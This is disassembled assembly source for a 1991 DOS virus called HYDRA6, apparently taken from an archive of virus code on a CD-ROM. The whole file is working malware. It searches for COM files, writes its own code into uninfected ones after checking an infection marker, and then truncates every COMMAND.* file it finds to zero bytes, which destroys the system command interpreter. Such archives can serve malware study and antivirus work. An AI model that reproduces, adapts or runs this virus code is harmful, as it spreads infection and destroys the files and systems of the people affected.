HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/HYDRA6.ASM

Assembly Source File | 1992-10-11 | 4KB | 175 lines

PAGE  59,132

;██████████████████████████████████████████████████████████████████████████
;██                                         ██
;██                    HYDRA6                         ██
;██                                         ██
;██      Created:   27-Aug-91                             ██
;██      Passes:    5           Analysis Options on: AW                 ██
;██      Copyright (c)                                 ██
;██                                         ██
;██████████████████████████████████████████████████████████████████████████

psp_cmd_size    equ    80h
data_14e    equ    174h
data_15e    equ    177h

seg_a        segment    byte public
        assume    cs:seg_a, ds:seg_a


        org    100h

hydra6        proc    far

start:
        jmp    loc_1
        pop    cx
        inc    sp
        add    [bx+si],al
data_3        db    'HyDra-6   Beta - Not For Release'
        db    '. *.CO?'
        db    0
data_6        dw    0, 8B39h
data_8        dw    0
data_9        db    0
        db    29 dup (0)
data_10        db    0
        db    13 dup (0)
copyright    db    'Copyright (c)'
        db    '  1991 by C.A.V.E.  '
data_11        db    'COMMAND.*', 0
loc_1:
        push    ax
        mov    ax,cs
        add    ax,1000h
        xor    di,di            ; Zero register
        mov    cx,174h
        mov    si,100h
        mov    es,ax
        rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
        mov    ah,1Ah
        mov    dx,offset data_9
        int    21h            ; DOS Services  ah=function 1Ah
                        ;  set DTA(disk xfer area) ds:dx
        mov    ah,4Eh            ; 'N'
        mov    dx,offset data_3+22h    ; ('*')
        int    21h            ; DOS Services  ah=function 4Eh
                        ;  find 1st filenam match @ds:dx
        jc    loc_5            ; Jump if carry Set
loc_2:
        mov    ah,3Dh            ; '='
        mov    al,2
        mov    dx,offset data_10
        int    21h            ; DOS Services  ah=function 3Dh
                        ;  open file, al=mode,name@ds:dx
        mov    bx,ax
        push    es
        pop    ds
        mov    ax,3F00h
        mov    cx,0FFFFh
        mov    dx,data_14e
        int    21h            ; DOS Services  ah=function 3Fh
                        ;  read file, bx=file handle
                        ;   cx=bytes to ds:dx buffer
        add    ax,174h
        mov    cs:data_8,ax
        cmp    word ptr ds:data_15e,4459h
        jne    loc_3            ; Jump if not equal
        mov    ah,3Eh            ; '>'
        int    21h            ; DOS Services  ah=function 3Eh
                        ;  close file, bx=file handle
        push    cs
        pop    ds
        mov    ah,4Fh            ; 'O'
        int    21h            ; DOS Services  ah=function 4Fh
                        ;  find next filename match
        jc    loc_6            ; Jump if carry Set
        jmp    short loc_2
loc_3:
        xor    cx,cx            ; Zero register
        mov    dx,cx
        mov    ax,4200h
        int    21h            ; DOS Services  ah=function 42h
                        ;  move file ptr, bx=file handle
                        ;   al=method, cx,dx=offset
        jc    loc_4            ; Jump if carry Set
        mov    ah,40h            ; '@'
        xor    dx,dx            ; Zero register
        mov    cx,cs:data_8
        int    21h            ; DOS Services  ah=function 40h
                        ;  write file  bx=file handle
                        ;   cx=bytes from ds:dx buffer
loc_4:
        mov    ah,3Eh            ; '>'
        int    21h            ; DOS Services  ah=function 3Eh
                        ;  close file, bx=file handle
        push    cs
        pop    ds
loc_5:
        mov    ah,1Ah
        mov    dx,psp_cmd_size
        int    21h            ; DOS Services  ah=function 1Ah
                        ;  set DTA(disk xfer area) ds:dx
        jmp    short loc_8
        nop
loc_6:
        mov    ah,1Ah
        mov    dx,offset data_9
        int    21h            ; DOS Services  ah=function 1Ah
                        ;  set DTA(disk xfer area) ds:dx
        push    dx
        mov    dx,offset data_11    ; ('COMMAND.*')
        mov    ah,4Eh            ; 'N'
        xor    cx,cx            ; Zero register
        int    21h            ; DOS Services  ah=function 4Eh
                        ;  find 1st filenam match @ds:dx
        jc    loc_5            ; Jump if carry Set
loc_7:
        mov    ah,3Ch            ; '<'
        xor    cx,cx            ; Zero register
        mov    dx,offset data_10
        int    21h            ; DOS Services  ah=function 3Ch
                        ;  create/truncate file @ ds:dx
        mov    bx,ax
        jc    loc_5            ; Jump if carry Set
        mov    ah,3Eh            ; '>'
        int    21h            ; DOS Services  ah=function 3Eh
                        ;  close file, bx=file handle
        jc    loc_5            ; Jump if carry Set
        mov    ah,4Fh            ; 'O'
        int    21h            ; DOS Services  ah=function 4Fh
                        ;  find next filename match
        jnc    loc_7            ; Jump if carry=0
loc_8:
        xor    di,di            ; Zero register
        mov    si,252h
        mov    cx,22h
        rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
        pop    bx
        mov    cs:data_6,0
        mov    word ptr cs:data_6+2,es
        pop    bx
        jmp    dword ptr cs:data_6
        push    ds
        pop    es
        mov    cx,0FFFFh
        mov    si,274h
        mov    di,100h
        sub    cx,si
        rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
        mov    word ptr cs:[100h],100h
        mov    word ptr cs:[102h],ds
        mov    ax,bx
        jmp    dword ptr cs:[100h]
        int    20h            ; DOS program terminate

hydra6        endp

seg_a        ends



        end    start